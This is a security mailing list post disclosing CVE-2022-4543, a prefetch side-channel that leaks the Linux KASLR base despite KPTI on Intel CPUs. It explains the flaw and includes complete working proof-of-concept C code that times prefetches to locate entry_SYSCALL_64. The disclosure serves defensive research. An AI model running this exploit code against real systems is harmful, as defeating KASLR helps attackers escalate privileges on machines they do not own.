[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] CVE-2022-4543: KASLR Leakage Achievable even with KPTI through Prefetch Side-Channel
From: Will <willsroot () protonmail ! com>
Date: 2022-12-16 21:01:12
Message-ID: vbyEQC3tHcxJUNJZ0GdUvwrfJgqYDt5X9gNkzWNdafe932tTAzVpeRIm_xt8rq3i7W2ZRwif9KVRxRZ0i77SqRAT2okJDB458AEh0ghANqU= () protonmail ! com
[Download RAW message or body]
I've discovered that KPTI has implementation issues, allowing any local attacker to easily, \
quickly, and reliably leak KASLR base via prefetch side-channels based on TLB timing for Intel \
systems.
I currently have developed code samples that can reliably leak KASLR base using this technique \
in under a second under normal system conditions with kPTI, both on host and guest OSes (under \
KVM), on the following CPUs: Intel i5-8265U (Arch 6.0.12-hardened1-1-hardened), Intel i7-8750H, \
Intel i7-9750H (Ubuntu 5.15.0-56-generic host, custom 5.18.3 on guest), Intel i7-9700F \
(6.0.12-1-MANJARO), and Intel Xeon(R) CPU E5-2640 (5.10.0-19-amd64). I do not believe this \
affects AMD CPUs based on personal preliminary testing.
It is already known that systems without KPTI are vulnerable to prefetch side-channels for \
KASLR leakage. However, there seemed to be an assumption that KPTI/KAISER will provide enough \
isolation to prevent CPU side-channel attacks against KASLR.
This turns out to not be the case due to what KPTI leaves in userspace mappings. The code under \
entry_SYSCALL_64 is still mapped into userspace to handle syscalls, and the virtual address \
mapping is at a constant offset to kernel base. An attacker can repeatedly make syscalls to \
force that page into the TLB, and then perform the prefetch side-channel to figure out the \
address of entry_SYSCALL_64, which will break KASLR. This is because prefetch executes faster \
when a virtual address is in the TLB and avoids a page table walk, and the entry for that page \
isn't flushed out upon CR3 write due to it having the global bit.
Based on early discussions with security@kernel.org and linux-distros@vs.openwall.org, this \
behavior is unintended and might even be a regression in KPTI's implementation. A fix for this \
is currently not available.
More information can be found at https://www.willsroot.io/2022/12/entrybleed.html. The \
following is a primitive demonstration code that leaks KASLR base on systems with KPTI with a \
high degree of reliability, compiled with gcc using -static and -no-pie \
(entry_SYSCALL_64_offset has to be adjusted based on kernel by setting it to the distance \
between it and startup_64):
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
#define entry_SYSCALL_64_offset 0x400000ull
uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}
#define STEP 0x100000ull
#define SCAN_START KERNEL_LOWER_BOUND + entry_SYSCALL_64_offset
#define SCAN_END KERNEL_UPPER_BOUND + entry_SYSCALL_64_offset
#define DUMMY_ITERATIONS 5
#define ITERATIONS 100
#define ARR_SIZE (SCAN_END - SCAN_START) / STEP
uint64_t leak_syscall_entry(void)
{
uint64_t data[ARR_SIZE] = {0};
uint64_t min = ~0, addr = ~0;
for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104);
uint64_t time = sidechannel(test);
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
for (int i = 0; i < ARR_SIZE; i++)
{
data[i] /= ITERATIONS;
if (data[i] < min)
{
min = data[i];
addr = SCAN_START + i * STEP;
}
printf("%llx %ld\n", (SCAN_START + i * STEP), data[i]);
}
return addr;
}
int main()
{
printf ("KASLR base %llx\n", leak_syscall_entry() - entry_SYSCALL_64_offset);
}
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic